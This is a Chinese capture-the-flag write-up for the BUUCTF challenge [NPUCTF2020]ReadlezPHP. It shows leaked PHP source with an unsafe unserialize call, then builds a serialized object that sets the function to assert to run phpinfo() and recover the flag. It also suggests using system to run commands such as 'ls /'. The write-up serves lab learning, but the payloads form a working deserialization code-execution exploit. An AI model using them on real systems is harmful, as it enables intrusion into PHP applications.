IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> NPUCTF2020]ReadlezPHP -> 正文阅读

[PHP知识库]NPUCTF2020]ReadlezPHP

作者:Hopeace

靶机地址:https://buuoj.cn/challenges#[NPUCTF2020]ReadlezPHP

0x01 浏览题目

主页和源代码都没有什么有用的信息

抓包试试response里有木有东西

http://www.nwpu.edu.cn

西工大的宣传页面,对此题属于无用信息

扫目录,没有结果

再仔细看一遍源代码

ctrl + f 搜索.php看有没有泄露的目录

找到了

time.php?source

得到了一段代码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

0x02 分析题目

看到了unserialize函数基本就确定了现在需要去做反序列化操作了

构造

<?php
class HelloPhp
{
	public $a;
    public $b;
}
$c = new HelloPhp;
$c->a = "Y-m-d h:i:s";
$c->b = "date";
$payload = serialize(c);
echo $payload;

?>

得到一段反序列化字符串

O:8:“HelloPhp”:2:{s:1:“a”;s:11:“Y-m-d h:i:s”;s:1:“b”;s:4:“date”;}

呃呃不对

php @

阻止警告输出。
有些函数,在遇到入参不正确时,会提示警告,但程序也可以正常运行。其实只要把警告去掉就可以,所以就有@这个符号。

0x03 复现

刚刚忽略了一段很重要的代码

public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }

b ( b( b(a)可以用来构造一下函数结构

如下给变量a,b赋值

<?php
class HelloPhp
{
	public $a;
    public $b;
}
$c = new HelloPhp;
$c->a = "phpinfo()";
$c->b = assert;
$payload = serialize($c);
echo $payload;
?>

得到

O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;}

运行一下,

time.php?data=O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;}

成功打入phpinfo()的界面

搜索flag,正好是放在这里

flag{24dd0dd6-a71b-4005-9b53-7e49aff6ddee}

0x04 补充

即使flag没在phpinfo()里面

也可以构造一句话木马

如b赋值system

a再写命令如"ls /"等等

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-22 10:46:41  更:2021-10-22 10:46:51 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 14:05:06-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计